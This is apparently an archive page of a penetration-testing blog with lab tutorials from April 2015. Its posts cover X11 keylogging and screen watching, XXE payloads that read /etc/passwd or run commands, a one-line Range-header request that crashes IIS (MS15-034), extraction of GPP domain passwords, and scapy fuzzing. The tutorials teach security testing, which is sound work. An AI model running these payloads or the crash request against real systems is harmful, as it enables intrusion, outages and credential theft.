Monthly Archives: April 2015

More X11 Hacking with xspy and xwatchwin

I’ve posted about open X11 servers before, including keylogging and grabbing an image of the desktop.  Today I just want to add a couple other tools to the toolbelt.  To learn more about X11, see the other posts as they describe it in better detail.

Setup Your Testbed

Today I’ll be using Ubuntu 14.04.1 LTS version.  The setup is almost the same as before with Ubuntu 12.04, except the config file has moved for some reason.  If you look in the /etc/lightdm/ folder, there no longer exists any lightdm.conf file.  There is only a users.conf file.  I tried just creating a lightdm.conf file, but that totally crashed my system and I had to refresh to my previous snapshot.  Do not do this.

The config files have moved to the /usr/share/lightdm/lightdm.conf.d/ folder.  Add the xserver-allow-tcp=true line to the end of the /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf file, restart lightdm with “sudo restart lightdm”, and you should be good to go.  Don’t forget to run “xhost +” to allow anyone to connect, just light the previous X11 post describes.

If you want to run xhost  + by default, add the following:

[SeatDefaults]
xserver-allow-tcp=true
display-setup-script=/home/ubuntu/xhost.sh

Then your xhost.sh script can look like this:

#!/bin/bash
xhost +

If you want to make it work on a different OS, here is a post that shows how to enable X11 on a couple versions of Linux.

Attack

How do you find a vulnerable host?

This section is the same as the last X11 post.

How do you attack that host?

Double check to make sure the previous attacks work (such as grabbing a screen shot).

First we’ll use the xspy tool.  This is actually already built into Kali, and seems to work better than the xkey tool that was described before.  Simply type xkey and then the IP address:

xspy

There appears to have been a different version in Backtrack or Kali at a different time where you had to specify options such as “xspy -display 192.168.1.5:0”, but on my machine, all that just confused xspy.  If your X11 server is on a port other than 6000 (like 6001 or something), you may have to download and compile a different version.  Just do a search – they’re everywhere.

————————

The other tool is xwatchwin.  You’ll have to download this one.  I found it here.  Follow the README to compile (just type xmkmf && make) and you’re good to go.

In order to use the tool, first you need to find the ID of the window using xwininfo:

$ xwininfo -root -display serverip:number

xwininfo

On my system, the window ID is 0x165.  So next (on the native Kali desktop, not a SSH terminal window), type:

$ ./xwatchwin serverip:number -w 0x165

A xwatchwin window will pop up, showing a (very delayed) constant view of the desktop.  This will pretty much be like a View Only version of VNC.

That’s all for now, happy hacking!

Attacking XML with XML External Entity Injection (XXE)

Within XML, there is a way to inject an external file.  For a long time, automatic XML parsers (using libxml2 in the backend) had this enabled by default.  So when XML is used as a means to format and pass data around, the website is very likely vulnerable.

XML is used in this way very frequently, but a couple of the usual suspects are some sort of API that does SOAP requests and Javascript/Ajax that uses XML to pass data.

Setup Your Testbed

For web based attacks, I usually like to test things out on Mutillidae as it comes with Metasploitable 2.  The newest version of Mutillidae has a neat page to try this attack, but the one that comes with Metasploitable 2 does not.  So I simply created my own PHP page to test it with.

Using Kali Linux, I added the following file to /var/www:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo “You have logged in as user $user”;
?>

I called this file xmlinject.php.  This file expects to receive XML content.  The expected XML content is something like the following:

<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>

Start the Apache with “service apache2 start”.

You can send the XML content any number of ways, but for this example, I will write it to a file called xml.txt and use curl to send it with the following command:

curl -d @xml.txt http://localhost/xmlinject.php

xxe2

 

Under normal circumstances, you may use curl, or you may want to capture traffic in transit using Burp proxy or Zap or something along those lines.

Note that most of those lines of PHP code aren’t normally required.  However on the off chance that you are running with the fixed version of libxml2, this code will turn off the external entity protection for the purposes of the example.

Attack

How do you find a vulnerable host?

As mentioned previously, this is very often a SOAP request in an API or a Javascript request within some application using Ajax.  Go ahead and try it on anywhere there is XML information being passed around.

How do you attack that host?

In this example, whatever the contents are under “user” are being repeated back.  So add if you want to read the contents of the /etc/passwd file, the new malicious XML will look something like the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Send this to the test PHP file, and you’ll get back the contents of /etc/passwd:

xxe3

As you can see, you basically just injected the contents of an external file into the “user” field.

But we’re not done yet.  If the “expect” module is installed in PHP (you can install it with “apt-get install libexpect-php5” and restart Apache), you can also do command injection.  Try changing your XML to the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Now you get the results of the “id” command back:

xxe4

There are also other things to do, like several different types of denial of service attacks (what happens if you inject /dev/random?) such as general or recursive entity expansion.

References

https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html
http://stackoverflow.com/questions/24117700/clarifications-on-xxe-vulnerabilities-throughout-php-versions

Crashing Windows Server 2012 with a One-Liner

Yesterday, Microsoft released the MS15-034 patch for the CVE-2015-1635 vulnerability.  Today, enough people have reverse engineered it to figure out this is a pretty big deal.

Short version: You can send a blue screen of death to a variety of Windows OS’s running IIS with one line of code (see below for various versions of the line of code).

Details: There aren’t a whole lot of details yet.  This is supposedly a remote code execution / buffer overflow vulnerability, but it seems the actual scripts publicly available can only crash the server right now.

The vulnerability exists in HTTP.sys.  Basically, the request sends a Range header that will crash a system.  According to Microsoft, the vulnerable operating systems include Windows 7 SP1, Server 2008 R2, Windows 8 and 8.1, and Server 2012 and 2012 R2.

Setup Your Testbed

I tried running this on a Windows Server 2008 I had readily available (not R2) and no dice.  So in my testbed, I’m just doing a default install of Server 2012 R2 Standard.

By default, IIS is not installed.  It is pretty easy to add it – simply go to Administrative Tools -> Server Manager -> Add Roles -> Web Server (IIS).  Then don’t forget to make sure it is turned on (it probably is by default).  This Microsoft page describes the process in excruciating detail.

Attack

How do I find a vulnerable host?

There is already a good script up on pastebin (in Python) with various spinoffs 1 and 2 (in C) that will help you find vulnerable hosts.  I’m sure more will show up, and eventually show up in scanners such as Nessus.  Be careful though – unless you are willing to crash a host, do not scan or perform this attack.

You can even search for vulnerable IIS versions on Shodan.

How do I attack that host?

The attack works great using wget (the destination doesn’t matter as long as it actually exists, so if you don’t have the welcome.png, just try something else – just using the root / won’t work though):

wget --header="Range: bytes=18-18446744073709551615" http://192.168.1.5/iis-85.png

Others have claimed success when using curl and telnet/netcat as in the examples below:

curl -v 192.168.1.5/iis-85.png -H "Range: bytes=18-18446744073709551615"

$ telnet 192.168.1.5 80
GET /iis-85.png HTTP/1.1
Host: irrelevant
Range: bytes=18-18446744073709551615

When I try these methods, nothing crashes.  I’m not sure why – if you look at a packet capture, the requests are nearly identical.  Fiddling with the Range parameter, I get the following response: “HTTP Error 416. The requested range is not satisfiable.”  Changing other parameters doesn’t seem to make a difference, so I am just keeping this here for troubleshooting for others.  If you are having a hard time, use the wget as a one-liner, or one of the scripts that have already been linked to.

So if it isn’t already obvious, everyone better patch this ASAP.  If your server is internet facing, so script kiddies will crash it at best, and at worst someone who has figured out how to actually do remote code execution will completely take your server over.

sendbadrequest

crashserver

In my case, the server actually restarted itself, so at least it didn’t stay dead.

Happy hacking!

References:

Grabbing Passwords from your Domain Controller (GPP MS14-025)

Another tool that is part of the Powersploit toolkit mentioned earlier is Get-GPPPassword.

One way to add a user (or change a password) for many users in a domain is through Group Policy Preferences (GPP).  This essentially adds a GPO to the domain with a username and an (encrypted) password for all the computers on the domain to grab and process.  The problem here is that Microsoft actually published the AES symmetric encryption key it uses right on MSDN.

GPOs are available for any authenticated domain user to read via \\domain-name-here\SYSVOL share.  In other words, any authenticated user (insider attack, spear phished creds, etc) can gain access to these credentials in cleartext.  The GPPs with the passwords are usually located in \\domain\SYSVOL\domain\Policies\{*}\Machine\Preferences\Groups\Groups.xml

In 2012, Chris Campbell wrote up a very easy to use Powershell script to search for these GPOs, decrypt the passwords, and print out the cleartext credentials.  The script has since been updated and uploaded to the Powersploit github repository.

In 2014, Microsoft finally issued the MS14-025 patch for this issue.  However they didn’t want to break anyone’s current processes by removing bad GPOs, so they simply disabled the Username and Password boxes and left it to the user to remove the bad GPOs.  Therefore, this attack vector will likely be very useful for a long time to come.

gpp.png-550x0

Setup  Your Testbed

Testing this vulnerability in a controlled environment is difficult.  It requires setting up a Windows domain and adding test users via GPP, which is beyond the scope of this blog.  Just trust me – if your environment contains passwords, you will see them.  The script will not do any harm – it is merely viewing the contents of GPO files, just like any other domain joined computer would.

Attack

How do I find a vulnerable host?

Check to see if your local system is joined to a domain.  This can by done by right clicking on My Computer and clicking properties.  If it lists a workgroup, then you are out of luck.  If it lists a domain, then you’re in business.

How do you attack that host?

This is the easy part.  Simply run Get-GPPPassword.ps1 from the command line, and everything else is done for you.

get-gpppassword

The script will automatically figure out your domain and go searching for GPOs with passwords.  This may take a while because it is likely going across the network and searching.

These tasks can actually be split up and improved upon.  First, copy all of the GPOs from the network location to a local location by copying the entire contents of \\domain\SYSVOL\domain\Policies (or if these files are very large in your domain, write a script to search for and only copy the relevant Groups.xml types of files). Now you can use a nifty script that Microsoft provides called Enum-SettingsWithCpassword.  This script alone provides very little information, but it is easy to edit the end part with all the Add-Member lines to provide additional information.  Here is what mine looks like:

Add-Member –membertype NoteProperty –name GPOName –value ($gpoName) –passthru |
Add-Member -MemberType NoteProperty -name Owner -value ($gpoOwner) -passthru |
Add-Member -MemberType NoteProperty -name UserName -value ($gpp.Name) -passthru |
Add-Member -MemberType NoteProperty -name Password -value (Get-DecryptedCpassword($gpp.Properties.cpassword)) -passthru |
Add-Member -MemberType NoteProperty -name Modified -value ($gpp.changed) -passthru |
Add-Member -MemberType NoteProperty -name ChangeOnLogon -value ($gpp.Properties.changeLogon) -passthru |
Add-Member -MemberType NoteProperty -name ChangeDisabled -value ($gpp.Properties.noChange) -passthru |
Add-Member -MemberType NoteProperty -name NeverExpires -value ($gpp.Properties.neverExpires) -passthru |
Add-Member -MemberType NoteProperty -name Disabled -value ($gpp.Properties.acctDisabled) -passthru |
Add-Member -MemberType NoteProperty -name GUID -value ($gpoGuid) -passthru |
Add-Member -MemberType NoteProperty -name Status -value ($gpoStatus) -passthru |
Add-Member -MemberType NoteProperty -name Path -value ($prefLocation) -passthru |
Add-Member -MemberType NoteProperty -name FilePath -value ($fileFullPath)

Notice that I also used the DecryptedCpassword utility (also provided on the same Microsoft page).  Once your script is ready, I prefer to dump the contents into a CSV file.  So the function would be run like this:

PS > Enum-SettingsWithCpassword("C:\Users\colesec\Desktop\GPOs") | Export-CSV C:\Users\colesec\Desktop\GPOsWithPass.csv

The other thing about this script is that it requires the GroupPolicy module for Powershell, which you probably don’t already have if you’re not running this from a Windows Server distribution.  No fear though – this is just an easy, free download from Microsoft.  Grab the Remote Server Administration Tools (RSAT), install, and you’re set.  More info here.

Good luck!

Sending Custom IP Packets

Sometimes during testing, you need to send custom created packets.  This is just a short post for two tools that I recommend:

Colasoft

The Colasoft Packet Builder is a neat GUI tool for Windows that makes packet replay easy.  You can create customized IP packets, or you can simply import a .pcap file and build off of packets that you already captured.

The software is freeware, so anyone can use it.  And don’t worry – it will update those checksums automatically so you don’t have to manually figure it out.

colasoft

 

Scapy

Scapy is an incredibly powerful Python module.  It has a very simple syntax to create custom packets and send them.  Scapy can also act as a listener as well.  The scapy documentation has a number of one liners that can perform scans, fuzzing, ARP poisoning, VLAN hopping, wireless sniffing, etc.

Don’t get overwhelmed just because scapy is not a GUI.  It is really quite easy to use.  Scapy is also already built into Kali Linux.  It can be run on its own scapy shell (just type “scapy” or “python scapy.py”) or imported as a module into python for custom scripting (from scapy.all import *).

Practical examples where I have uses scapy:

  • Fuzz packets to a port to test some new software
  • Inject data into an ICMP packet to test exfiltration through a firewall (scapy sender on one side that base64 encodes the contents of a file, scapy listener on the other side to decode and extract)
  • Testing DNS amplification attacks by sending packets with a spoofed source IP to DNS servers using DNSSEC.

Here is an example of fuzzing a mail server at 192.168.1.5:

send(IP(dst="192.168.1.5")/fuzz(TCP(dport=25)),loop=1)

Notice how you start by building an IP packet (with destination), then specifying TCP port (with destination).  The fuzz() function will simply put random values anywhere it can if you don’t specify an option.  For example, if we didn’t say dport=25, it would fuzz every port.

scapy1

As mentioned earlier, you can also just include this in a python script instead:

scapy2

 

Good luck!